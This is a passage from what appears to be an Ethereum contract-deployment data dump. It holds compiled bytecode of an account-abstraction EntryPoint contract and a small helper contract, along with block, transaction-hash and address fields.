4565b506040516000907fbb47ee3e183a558b1a2ff0874b079f3fc5478b7454eacf2bfc5af2ff5878f972908290a160005b83811015611251576112458188888481811061121457611214614848565b90506020028101906112269190614877565b85848151811061123857611238614848565b602002602001015161284f565b909101906001016111f6565b5061125c8482612e7a565b5050506112696001600255565b505050565b6000808473ffffffffffffffffffffffffffffffffffffffff1684846040516112989291906148b5565b600060405180830381855af49150503d80600081146112d3576040519150601f19603f3d011682016040523d82523d6000602084013e6112d8565b606091505b509150915081816040517f994105540000000000000000000000000000000000000000000000000000000081526004016107579291906148c5565b600061133460065473ffffffffffffffffffffffffffffffffffffffff1690565b73ffffffffffffffffffffffffffffffffffffffff1663570e1a3684846040518363ffffffff1660e01b815260040161136e929190614929565b6020604051808303816000875af115801561138d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b1919061493d565b6040517f6ca7b80600000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff82166004820152909150602401610757565b336000908152602081905260408120600181015490916f0100000000000000000000000000000090910463ffffffff169003611496576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600a60248201527f6e6f74207374616b6564000000000000000000000000000000000000000000006044820152606401610757565b600181015460ff16611504576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f616c726561647920756e7374616b696e670000000000000000000000000000006044820152606401610757565b600181015460009061152f906f01000000000000000000000000000000900463ffffffff164261495a565b6001830180547fffffffffffffff000000000000ffffffffffffffffffffffffffffffffffff001673010000000000000000000000000000000000000065ffffffffffff84169081027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00169190911790915560405190815290915033907ffa9b3c14cc825c412c9ed81b3ba365a5b459439403f18829e572ed53a4180f0a906020015b60405180910390a25050565b336000908152602081905260409020600181015461010090046dffffffffffffffffffffffffffff168061166e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f4e6f207374616b6520746f2077697468647261770000000000000000000000006044820152606401610757565b6001820154730100000000000000000000000000000000000000900465ffffffffffff166116f8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f6d7573742063616c6c20756e6c6f636b5374616b6528292066697273740000006044820152606401610757565b60018201544273010000000000000000000000000000000000000090910465ffffffffffff161115611786576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f5374616b65207769746864726177616c206973206e6f742064756500000000006044820152606401610757565b6001820180547fffffffffffffff000000000000000000000000000000000000000000000000ff1690556040805173ffffffffffffffffffffffffffffffffffffffff851681526020810183905233917fb7c918e0e249f999e965cafeb6c664271b3f4317d296461500e71da39f0cbda3910160405180910390a260008373ffffffffffffffffffffffffffffffffffffffff168260405160006040518083038185875af1925050503d806000811461185b576040519150601f19603f3d011682016040523d82523d6000602084013e611860565b606091505b5050905080610fb4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f6661696c656420746f207769746864726177207374616b6500000000000000006044820152606401610757565b6118d3613eae565b6118db613dfc565b6118e48361247d565b6000806118f3600086856125f0565b845160e001516040805180820182526000808252602080830182815273ffffffffffffffffffffffffffffffffffffffff95861683528282528483206001908101546dffffffffffffffffffffffffffff6101008083048216885263ffffffff6f010000000000000000000000000000009384900481169095528e51518951808b018b5288815280880189815291909b1688528787528988209094015490810490911689520490911690528351808501909452818452830152939550919350903660006119c360408b018b614980565b9092509050600060148210156119da5760006119f5565b6119e86014600084866149e5565b6119f191614a0f565b60601c5b6040805180820182526000808252602080830182815273ffffffffffffffffffffffffffffffffffffffff86168352908290529290206001015461010081046dffffffffffffffffffffffffffff1682526f01000000000000000000000000000000900463ffffffff169091529091509350505050600085905060006040518060a001604052808960800151815260200189604001518152602001888152602001878152602001611aa78a6060015190565b905260408051808201825260035473ffffffffffffffffffffffffffffffffffffffff908116825282518084019093526004548352600554602084810191909152820192909252919250831615801590611b18575060018373ffffffffffffffffffffffffffffffffffffffff1614155b15611b9c5760408051808201825273ffffffffffffffffffffffffffffffffffffffff851680825282518084018452600080825260208083018281529382528181529490206001015461010081046dffffffffffffffffffffffffffff1682526f01000000000000000000000000000000900463ffffffff16909152909182015290505b6040805160a081018252928352602083019590955293810192909252506060810192909252608082015295945050505050565b611bd7613dfc565b611be08561247d565b611bec600086836125f0565b5060009050606073ffffffffffffffffffffffffffffffffffffffff861615611c7f578573ffffffffffffffffffffffffffffffffffffffff168585604051611c369291906148b5565b6000604051808303816000865af19150503d8060008114611c73576040519150601f19603f3d011682016040523d82523d6000602084013e611c78565b606091505b5090925090505b81816040517fd12c41340000000000000000000000000000000000000000000000000000000081526004016107579291906148c5565b611cbd61243c565b816000805b82811015611eaf5736868683818110611cdd57611cdd614848565b9050602002810190611cef9190614a57565b9050366000611cfe8380614a8b565b90925090506000611d156040850160208601614424565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff73ffffffffffffffffffffffffffffffffffffffff821601611db6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f4141393620696e76616c69642061676772656761746f720000000000000000006044820152606401610757565b73ffffffffffffffffffffffffffffffffffffffff811615611e935773ffffffffffffffffffffffffffffffffffffffff8116632dd811338484611dfd6040890189614980565b6040518563ffffffff1660e01b8152600401611e1c9493929190614c43565b60006040518083038186803b158015611e3457600080fd5b505afa925050508015611e45575060015b611e93576040517f86a9f75000000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff82166004820152602401610757565b611e9d82876147ea565b95505060019093019250611cc2915050565b5060008167ffffffffffffffff811115611ecb57611ecb613fa8565b604051908082528060200260200182016040528015611f0457816020015b611ef1613dfc565b815260200190600190039081611ee95790505b5090506000805b84811015611fe15736888883818110611f2657611f26614848565b9050602002810190611f389190614a57565b9050366000611f478380614a8b565b90925090506000611f5e6040850160208601614424565b90508160005b81811015611fcf576000898981518110611f8057611f80614848565b60200260200101519050600080611fa38b89898781811061119357611193614848565b91509150611fb384838389612c25565b8a611fbd816147fd565b9b505060019093019250611f64915050565b505060019094019350611f0b92505050565b506040517fbb47ee3e183a558b1a2ff0874b079f3fc5478b7454eacf2bfc5af2ff5878f97290600090a150600080805b8581101561211c573689898381811061202c5761202c614848565b905060200281019061203e9190614a57565b90506120506040820160208301614424565b73ffffffffffffffffffffffffffffffffffffffff167f575ff3acadd5ab348fe1855e217e0f3678f8d767d7494c9f9fefbee2e17cca4d60405160405180910390a236600061209f8380614a8b565b90925090508060005b8181101561210b576120ea888585848181106120c6576120c6614848565b90506020028101906120d89190614877565b8b8b8151811061123857611238614848565b6120f490886147ea565b965087612100816147fd565b9850506001016120a8565b505060019093019250612011915050565b506040516000907f575ff3acadd5ab348fe1855e217e0f3678f8d767d7494c9f9fefbee2e17cca4d908290a26121528682612e7a565b50505050506112696001600255565b600061216d8234612fc1565b90508173ffffffffffffffffffffffffffffffffffffffff167f2da466a7b24304f47e87fa2e1e5a81b9831ce54fec19055ce277ca2f39ba42c4826040516115d291815260200190565b6000806000845160208601878987f195945050505050565b60603d828111156121dd5750815b604051602082018101604052818152816000602083013e9392505050565b6000805a85519091506000908161221182613001565b60e083015190915073ffffffffffffffffffffffffffffffffffffffff811661223d5782519350612338565b80935060008851111561233857868202955060028a600281111561226357612263614cfa565b146123385760a08301516040517f7c627b2100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff831691637c627b21916122c5908e908d908c908990600401614d29565b600060405180830381600088803b1580156122df57600080fd5b5087f1935050505080156122f1575060015b6123385760006123026108006121cf565b9050806040517fad7954bc0000000000000000000000000000000000000000000000000000000081526004016107579190614d8c565b5a60a0840151606085015160808c01519288039990990198019088038082111561236b576064600a828403020498909801975b505060408901518783029650868110156123e05760028b600281111561239357612393614cfa565b036123b6578096506123a48a613033565b6123b18a6000898b61308f565b612415565b7fdeadaa510000000000000000000000000000000000000000000000000000000060005260206000fd5b8681036123ed8682612fc1565b506000808d600281111561240357612403614cfa565b1490506124128c828b8d61308f565b50505b505050505050949350505050565b600061242e82613117565b805190602001209050919050565b6002805403612477576040517f3ee5aeb500000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b60028055565b61257d6040517fd69400000000000000000000000000000000000000000000000000000000000060208201527fffffffffffffffffffffffffffffffffffffffff0000000000000000000000003060601b1660228201527f01000000000000000000000000000000000000000000000000000000000000006036820152600090603701604080518083037fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe00181529190528051602090910120600680547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff90921691909117905550565b60006125ae61258f6040840184614980565b61259c6020860186614424565b6125a960e0870187614980565b6131dc565b905080516000146106e8576000816040517f220266b60000000000000000000000000000000000000000000000000000000081526004016107579291906147a2565b60008060005a845190915061260586826132c5565b61260e86610fba565b6020860152604081015161012082015161010083015160a08401516080850151606086015160c0870151861717171717176effffffffffffffffffffffffffffff8111156126b8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f41413934206761732076616c756573206f766572666c6f7700000000000000006044820152606401610757565b60006126e78460c081015160a08201516080830151606084015160408501516101009095015194010101010290565b90506126f68a8a8a8487613410565b965061270a84600001518560200151613651565b61277957896040517f220266b6000000000000000000000000000000000000000000000000000000008152600401610757918152604060208201819052601a908201527f4141323520696e76616c6964206163636f756e74206e6f6e6365000000000000606082015260800190565b825a860311156127ee57896040517f220266b6000000000000000000000000000000000000000000000000000000008152600401610757918152604060208201819052601e908201527f41413236206f76657220766572696669636174696f6e4761734c696d69740000606082015260800190565b60e084015160609073ffffffffffffffffffffffffffffffffffffffff16156128225761281d8b8b8b856136ac565b975090505b604089018290528060608a015260a08a01355a870301896080018181525050505050505050935093915050565b6000805a90506000612862846060015190565b604051909150600090368261287a60608a018a614980565b915091506060600082600381111561289157843591505b507f72288ed1000000000000000000000000000000000000000000000000000000007fffffffff000000000000000000000000000000000000000000000000000000008216016129d15760008b8b602001516040516024016128f4929190614d9f565b604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08184030181529181526020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167f8dd7712f000000000000000000000000000000000000000000000000000000001790525190915030906242dc53906129879084908f908d90602401614e85565b604051602081830303815290604052915060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050925050612a48565b3073ffffffffffffffffffffffffffffffffffffffff166242dc5385858d8b604051602401612a039493929190614ec5565b604051602081830303815290604052915060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505091505b602060008351602085016000305af19550600051985084604052505050505080612c1b5760003d80602003612a835760206000803e60005191505b507fdeaddead000000000000000000000000000000000000000000000000000000008103612b1657876040517f220266b6000000000000000000000000000000000000000000000000000000008152600401610757918152604060208201819052600f908201527f41413935206f7574206f66206761730000000000000000000000000000000000606082015260800190565b7fdeadaa51000000000000000000000000000000000000000000000000000000008103612b8057600086608001515a612b4f9087614835565b612b5991906147ea565b6040880151909150612b6a88613033565b612b77886000838561308f565b9550612c199050565b8551805160208089015192015173ffffffffffffffffffffffffffffffffffffffff90911691907ff62676f440ff169a3a9afdbf812e89e7f95975ee8e5c31214ffdef631c5f479290612bd46108006121cf565b604051612be29291906147a2565b60405180910390a3600086608001515a612bfc9087614835565b612c0691906147ea565b9050612c1560028886846121fb565b9550505b505b5050509392505050565b600080612c3185613903565b915091508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614612cd357856040517f220266b60000000000000000000000000000000000000000000000000000000081526004016107579181526040602082018190526014908201527f41413234207369676e6174757265206572726f72000000000000000000000000606082015260800190565b8015612d4457856040517f220266b60000000000000000000000000000000000000000000000000000000081526004016107579181526040602082018190526017908201527f414132322065787069726564206f72206e6f7420647565000000000000000000606082015260800190565b6000612d4f85613903565b9250905073ffffffffffffffffffffffffffffffffffffffff811615612dda57866040517f220266b60000000000000000000000000000000000000000000000000000000081526004016107579181526040602082018190526014908201527f41413334207369676e6174757265206572726f72000000000000000000000000606082015260800190565b8115612e7157866040517f220266b60000000000000000000000000000000000000000000000000000000081526004016107579181526040602082018190526021908201527f41413332207061796d61737465722065787069726564206f72206e6f7420647560608201527f6500000000000000000000000000000000000000000000000000000000000000608082015260a00190565b50505050505050565b73ffffffffffffffffffffffffffffffffffffffff8216612ef7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f4141393020696e76616c69642062656e656669636961727900000000000000006044820152606401610757565b60008273ffffffffffffffffffffffffffffffffffffffff168260405160006040518083038185875af1925050503d8060008114612f51576040519150601f19603f3d011682016040523d82523d6000602084013e612f56565b606091505b5050905080611269576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f41413931206661696c65642073656e6420746f2062656e6566696369617279006044820152606401610757565b73ffffffffffffffffffffffffffffffffffffffff8216600090815260208190526040812080548290612ff59085906147ea565b91829055509392505050565b6101008101516101208201516000919080820361301f575092915050565b61302b82488301613956565b949350505050565b805180516020808401519281015160405190815273ffffffffffffffffffffffffffffffffffffffff90921692917f67b4fa9642f42120bf031f3051d1824b0fe25627945b27b8a6a65d5761d5482e910160405180910390a350565b835160e0810151815160208088015193015160405173ffffffffffffffffffffffffffffffffffffffff9384169492909316927f49628fd1471006c1482da88028e9ce4dbb080b815c9b0344d39e5a8e6ec1419f916131099189908990899093845291151560208401526040830152606082015260800190565b60405180910390a450505050565b60608135602083013560006131376131326040870187614980565b61396e565b9050600061314b6131326060880188614980565b9050608086013560a087013560c0880135600061316e61313260e08c018c614980565b6040805173ffffffffffffffffffffffffffffffffffffffff9a909a1660208b015289810198909852606089019690965250608087019390935260a086019190915260c085015260e08401526101008084019190915281518084039091018152610120909201905292915050565b606084158015613201575073ffffffffffffffffffffffffffffffffffffffff84163b155b15613240575060408051808201909152601981527f41413230206163636f756e74206e6f74206465706c6f7965640000000000000060208201526132bc565b601482106132ab57600061325760148285876149e5565b61326091614a0f565b60601c9050803b6000036132a957505060408051808201909152601b81527f41413330207061796d6173746572206e6f74206465706c6f796564000000000060208201526132bc565b505b506040805160208101909152600081525b95945050505050565b6132d26020830183614424565b73ffffffffffffffffffffffffffffffffffffffff168152602082810135908201526fffffffffffffffffffffffffffffffff6080808401358281166060850152811c604084015260a084013560c0808501919091528401359182166101008401521c61012082015236600061334b60e0850185614980565b909250905080156133f55760348110156133c1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f4141393320696e76616c6964207061796d6173746572416e64446174610000006044820152606401610757565b6133cb8282613981565b60a0860152608085015273ffffffffffffffffffffffffffffffffffffffff1660e0840152610fb4565b600060e084018190526080840181905260a084015250505050565b825180516000919061342f888761342a60408b018b614980565b6139f2565b60e0820151600073ffffffffffffffffffffffffffffffffffffffff821661348d5773ffffffffffffffffffffffffffffffffffffffff831660009081526020819052604090205487811161348657808803613489565b60005b9150505b60208801516040517f19822f7c00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8516916319822f7c9189916134e9918e91908790600401614efc565b60206040518083038160008887f193505050508015613543575060408051601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016820190925261354091810190614f21565b60015b61358757896135536108006121cf565b6040517f65c8fd4d000000000000000000000000000000000000000000000000000000008152600401610757929190614f3a565b945073ffffffffffffffffffffffffffffffffffffffff82166136445773ffffffffffffffffffffffffffffffffffffffff8316600090815260208190526040902080548089111561363e578b6040517f220266b60000000000000000000000000000000000000000000000000000000081526004016107579181526040602082018190526017908201527f41413231206469646e2774207061792070726566756e64000000000000000000606082015260800190565b88900390555b5050505095945050505050565b73ffffffffffffffffffffffffffffffffffffffff8216600090815260016020908152604080832084821c808552925282208054849167ffffffffffffffff831691908561369e836147fd565b909155501495945050505050565b60606000805a855160e081015173ffffffffffffffffffffffffffffffffffffffff81166000908152602081905260409020805493945091929091908781101561375b578a6040517f220266b6000000000000000000000000000000000000000000000000000000008152600401610757918152604060208201819052601e908201527f41413331207061796d6173746572206465706f73697420746f6f206c6f770000606082015260800190565b87810382600001819055506000846080015190508373ffffffffffffffffffffffffffffffffffffffff166352b7512c828d8d602001518d6040518563ffffffff1660e01b81526004016137b193929190614efc565b60006040518083038160008887f19350505050801561381057506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016820160405261380d9190810190614f87565b60015b613854578b6138206108006121cf565b6040517f65c8fd4d000000000000000000000000000000000000000000000000000000008152600401610757929190615008565b9098509650805a870311156138f4578b6040517f220266b60000000000000000000000000000000000000000000000000000000081526004016107579181526040602082018190526027908201527f41413336206f766572207061796d6173746572566572696669636174696f6e4760608201527f61734c696d697400000000000000000000000000000000000000000000000000608082015260a00190565b50505050505094509492505050565b6000808260000361391957506000928392509050565b600061392484613d7e565b9050806040015165ffffffffffff1642118061394b5750806020015165ffffffffffff1642105b905194909350915050565b60008183106139655781613967565b825b9392505050565b6000604051828085833790209392505050565b6000808061399260148286886149e5565b61399b91614a0f565b60601c6139ac6024601487896149e5565b6139b591615055565b60801c6139c660346024888a6149e5565b6139cf91615055565b9194506fffffffffffffffffffffffffffffffff16925060801c90509250925092565b8015610fb45782515173ffffffffffffffffffffffffffffffffffffffff81163b15613a8357846040517f220266b6000000000000000000000000000000000000000000000000000000008152600401610757918152604060208201819052601f908201527f414131302073656e64657220616c726561647920636f6e737472756374656400606082015260800190565b6000613aa460065473ffffffffffffffffffffffffffffffffffffffff1690565b73ffffffffffffffffffffffffffffffffffffffff1663570e1a3686600001516040015186866040518463ffffffff1660e01b8152600401613ae7929190614929565b60206040518083038160008887f1158015613b06573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190613b2b919061493d565b905073ffffffffffffffffffffffffffffffffffffffff8116613bb357856040517f220266b6000000000000000000000000000000000000000000000000000000008152600401610757918152604060208201819052601b908201527f4141313320696e6974436f6465206661696c6564206f72204f4f470000000000606082015260800190565b8173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614613c5057856040517f220266b600000000000000000000000000000000000000000000000000000000815260040161075791815260406020808301829052908201527f4141313420696e6974436f6465206d7573742072657475726e2073656e646572606082015260800190565b8073ffffffffffffffffffffffffffffffffffffffff163b600003613cd957856040517f220266b600000000000000000000000000000000000000000000000000000000815260040161075791815260406020808301829052908201527f4141313520696e6974436f6465206d757374206372656174652073656e646572606082015260800190565b6000613ce860148286886149e5565b613cf191614a0f565b60601c90508273ffffffffffffffffffffffffffffffffffffffff1686602001517fd51a9c61267aa6196961883ecf5ff2da6619c37dac0fa92122513fb32c032d2d83896000015160e00151604051613d6d92919073ffffffffffffffffffffffffffffffffffffffff92831681529116602082015260400190565b60405180910390a350505050505050565b60408051606081018252600080825260208201819052918101919091528160a081901c65ffffffffffff8116600003613dba575065ffffffffffff5b6040805160608101825273ffffffffffffffffffffffffffffffffffffffff909316835260d09490941c602083015265ffffffffffff16928101929092525090565b6040518060a00160405280613e89604051806101400160405280600073ffffffffffffffffffffffffffffffffffffffff168152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600073ffffffffffffffffffffffffffffffffffffffff16815260200160008152602001600081525090565b8152602001600080191681526020016000815260200160008152602001600081525090565b6040518060a00160405280613eeb6040518060a0016040528060008152602001600081526020016000815260200160008152602001606081525090565b8152602001613f0d604051806040016040528060008152602001600081525090565b8152602001613f2f604051806040016040528060008152602001600081525090565b8152602001613f51604051806040016040528060008152602001600081525090565b8152602001613f5e613f63565b905290565b6040518060400160405280600073ffffffffffffffffffffffffffffffffffffffff168152602001613f5e604051806040016040528060008152602001600081525090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60405160a0810167ffffffffffffffff81118282101715613ffa57613ffa613fa8565b60405290565b604051610140810167ffffffffffffffff81118282101715613ffa57613ffa613fa8565b604051601f82017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016810167ffffffffffffffff8111828210171561406b5761406b613fa8565b604052919050565b600067ffffffffffffffff82111561408d5761408d613fa8565b50601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe01660200190565b73ffffffffffffffffffffffffffffffffffffffff811681146140db57600080fd5b50565b80356110ec816140b9565b60008183036101c08112156140fd57600080fd5b614105613fd7565b91506101408082121561411757600080fd5b61411f614000565b915061412a846140de565b82526020840135602083015260408401356040830152606084013560608301526080840135608083015260a084013560a083015260c084013560c083015261417460e085016140de565b60e0830152610100848101359083015261012080850135908301529082528201356020820152610160820135604082015261018082013560608201526101a0909101356080820152919050565b60008083601f8401126141d357600080fd5b50813567ffffffffffffffff8111156141eb57600080fd5b60208301915083602082850101111561420357600080fd5b9250929050565b600080600080610200858703121561422157600080fd5b843567ffffffffffffffff8082111561423957600080fd5b818701915087601f83011261424d57600080fd5b813561426061425b82614073565b614024565b81815289602083860101111561427557600080fd5b81602085016020830137600060208383010152809750505061429a88602089016140e9565b94506101e08701359150808211156142b157600080fd5b506142be878288016141c1565b95989497509550505050565b6000602082840312156142dc57600080fd5b81357fffffffff000000000000000000000000000000000000000000000000000000008116811461396757600080fd5b60006020828403121561431e57600080fd5b813563ffffffff8116811461396757600080fd5b803577ffffffffffffffffffffffffffffffffffffffffffffffff811681146110ec57600080fd5b60006020828403121561436c57600080fd5b61396782614332565b6000806040838503121561438857600080fd5b8235614393816140b9565b91506143a160208401614332565b90509250929050565b600080604083850312156143bd57600080fd5b82356143c8816140b9565b946020939093013593505050565b600061012082840312156143e957600080fd5b50919050565b60006020828403121561440157600080fd5b813567ffffffffffffffff81111561441857600080fd5b61302b848285016143d6565b60006020828403121561443657600080fd5b8135613967816140b9565b60005b8381101561445c578181015183820152602001614444565b50506000910152565b6000815180845261447d816020860160208601614441565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169290920160200192915050565b60208152815160208201526020820151604082015260408201516060820152606082015160808201526080820151151560a0820152600060a083015160c08084015261302b60e0840182614465565b60008083601f84011261451057600080fd5b50813567ffffffffffffffff81111561452857600080fd5b6020830191508360208260051b850101111561420357600080fd5b60008060006040848603121561455857600080fd5b833567ffffffffffffffff81111561456f57600080fd5b61457b868287016144fe565b909450925050602084013561458f816140b9565b809150509250925092565b6000806000604084860312156145af57600080fd5b83356145ba816140b9565b9250602084013567ffffffffffffffff8111156145d657600080fd5b6145e2868287016141c1565b9497909650939450505050565b6000806020838503121561460257600080fd5b823567ffffffffffffffff81111561461957600080fd5b614625858286016141c1565b90969095509350505050565b602080825282516101408383015280516101608401529081015161018083015260408101516101a083015260608101516101c08301526080015160a06101e0830152600090614684610200840182614465565b905060208401516146a2604085018280518252602090810151910152565b506040840151805160808581019190915260209182015160a08601526060860151805160c087015282015160e0860152850151805173ffffffffffffffffffffffffffffffffffffffff1661010086015280820151805161012087015290910151610140850152509392505050565b6000806000806060858703121561472757600080fd5b843567ffffffffffffffff8082111561473f57600080fd5b61474b888389016143d6565b95506020870135915061475d826140b9565b909350604086013590808211156142b157600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b82815260406020820152600061302b6040830184614465565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b80820180821115610a2c57610a2c6147bb565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361482e5761482e6147bb565b5060010190565b81810381811115610a2c57610a2c6147bb565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600082357ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffee18336030181126148ab57600080fd5b9190910192915050565b8183823760009101908152919050565b821515815260406020820152600061302b6040830184614465565b8183528181602085013750600060208284010152600060207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0601f840116840101905092915050565b60208152600061302b6020830184866148e0565b60006020828403121561494f57600080fd5b8151613967816140b9565b65ffffffffffff818116838216019080821115614979576149796147bb565b5092915050565b60008083357fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe18436030181126149b557600080fd5b83018035915067ffffffffffffffff8211156149d057600080fd5b60200191503681900382131561420357600080fd5b600080858511156149f557600080fd5b83861115614a0257600080fd5b5050820193919092039150565b7fffffffffffffffffffffffffffffffffffffffff0000000000000000000000008135818116916014851015614a4f5780818660140360031b1b83161692505b505092915050565b600082357fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffa18336030181126148ab57600080fd5b60008083357fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe1843603018112614ac057600080fd5b83018035915067ffffffffffffffff821115614adb57600080fd5b6020019150600581901b360382131561420357600080fd5b60008083357fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe1843603018112614b2857600080fd5b830160208101925035905067ffffffffffffffff811115614b4857600080fd5b80360382131561420357600080fd5b6000610120614b8384614b69856140de565b73ffffffffffffffffffffffffffffffffffffffff169052565b60208301356020850152614b9a6040840184614af3565b826040870152614bad83870182846148e0565b92505050614bbe6060840184614af3565b8583036060870152614bd18382846148e0565b925050506080830135608085015260a083013560a085015260c083013560c0850152614c0060e0840184614af3565b85830360e0870152614c138382846148e0565b92505050610100614c2681850185614af3565b86840383880152614c388482846148e0565b979650505050505050565b6040808252810184905260006060600586901b830181019083018783805b89811015614ce3577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffa087860301845282357ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffee18c3603018112614cc1578283fd5b614ccd868d8301614b57565b9550506020938401939290920191600101614c61565b505050508281036020840152614c388185876148e0565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b600060038610614d62577f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b85825260806020830152614d796080830186614465565b6040830194909452506060015292915050565b6020815260006139676020830184614465565b604081526000614db26040830185614b57565b90508260208301529392505050565b8051805173ffffffffffffffffffffffffffffffffffffffff1683526020810151602084015260408101516040840152606081015160608401526080810151608084015260a081015160a084015260c081015160c084015260e0810151614e4060e085018273ffffffffffffffffffffffffffffffffffffffff169052565b5061010081810151908401526101209081015190830152602081015161014083015260408101516101608301526060810151610180830152608001516101a090910152565b6000610200808352614e9981840187614465565b9050614ea86020840186614dc1565b8281036101e0840152614ebb8185614465565b9695505050505050565b6000610200808352614eda81840187896148e0565b9050614ee96020840186614dc1565b8281036101e0840152614c388185614465565b606081526000614f0f6060830186614b57565b60208301949094525060400152919050565b600060208284031215614f3357600080fd5b5051919050565b82815260606020820152600d60608201527f4141323320726576657274656400000000000000000000000000000000000000608082015260a06040820152600061302b60a0830184614465565b60008060408385031215614f9a57600080fd5b825167ffffffffffffffff811115614fb157600080fd5b8301601f81018513614fc257600080fd5b8051614fd061425b82614073565b818152866020838501011115614fe557600080fd5b614ff6826020830160208601614441565b60209590950151949694955050505050565b82815260606020820152600d60608201527f4141333320726576657274656400000000000000000000000000000000000000608082015260a06040820152600061302b60a0830184614465565b7fffffffffffffffffffffffffffffffff000000000000000000000000000000008135818116916010851015614a4f5760109490940360031b84901b169092169291505056fea264697066735822122022e02178dc569768380168e9e3ea80c02f334e22212a424c7e3d8b24376c948964736f6c63430008170033
| |
1 | 19,502,280 |
fca9f9b42a4ea0075e7559b1e51454201710d43d27b245614cd84cc06a373300
|
19c605fc31773cb22b41707b60a0d8d3201ce68df890f15c4b17dd04df29a35c
|
433704c40f80cbff02e86fd36bc8bac5e31eb0c1
|
9af45e9497b6dc7e9188565d4d764ff6c8569391
|
4ce5430c74f783d4444df45ad54baf20d9458b81
|
608060405234801561001057600080fd5b50610213806100206000396000f3fe608060405234801561001057600080fd5b506004361061002b5760003560e01c8063570e1a3614610030575b600080fd5b61004361003e3660046100f9565b61006c565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200160405180910390f35b60008061007c601482858761016b565b61008591610195565b60601c90506000610099846014818861016b565b8080601f016020809104026020016040519081016040528093929190818152602001838380828437600092018290525084519495509360209350849250905082850182875af190506000519350806100f057600093505b50505092915050565b6000806020838503121561010c57600080fd5b823567ffffffffffffffff8082111561012457600080fd5b818501915085601f83011261013857600080fd5b81358181111561014757600080fd5b86602082850101111561015957600080fd5b60209290920196919550909350505050565b6000808585111561017b57600080fd5b8386111561018857600080fd5b5050820193919092039150565b7fffffffffffffffffffffffffffffffffffffffff00000000000000000000000081358181169160148510156101d55780818660140360031b1b83161692505b50509291505056fea2646970667358221220f4eeea3c52e568afe7af0cb6d22e9eba322f25189228e2d96485c8f1d485112464736f6c63430008170033
|
608060405234801561001057600080fd5b506004361061002b5760003560e01c8063570e1a3614610030575b600080fd5b61004361003e3660046100f9565b61006c565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200160405180910390f35b60008061007c601482858761016b565b61008591610195565b60601c90506000610099846014818861016b565b8080601f016020809104026020016040519081016040528093929190818152602001838380828437600092018290525084519495509360209350849250905082850182875af190506000519350806100f057600093505b50505092915050565b6000806020838503121561010c57600080fd5b823567ffffffffffffffff8082111561012457600080fd5b818501915085601f83011261013857600080fd5b81358181111561014757600080fd5b86602082850101111561015957600080fd5b60209290920196919550909350505050565b6000808585111561017b57600080fd5b8386111561018857600080fd5b5050820193919092039150565b7fffffffffffffffffffffffffffffffffffffffff00000000000000000000000081358181169160148510156101d55780818660140360031b1b83161692505b50509291505056fea2646970667358221220f4eeea3c52e568afe7af0cb6d22e9eba322f25189228e2d96485c8f1d485112464736f6c63430008170033
| |
1 | 19,502,280 |
fca9f9b42a4ea0075e7559b1e51454201710d43d27b245614cd84cc06a373300
|
92a8d4bb19da609c42f8f199fd1684b15302ccf27216174c4ede6e91c1d79e93
|
578f533873dc8ea60ab1417180cc531f172ee292
|
29ef46035e9fa3d570c598d3266424ca11413b0c
|
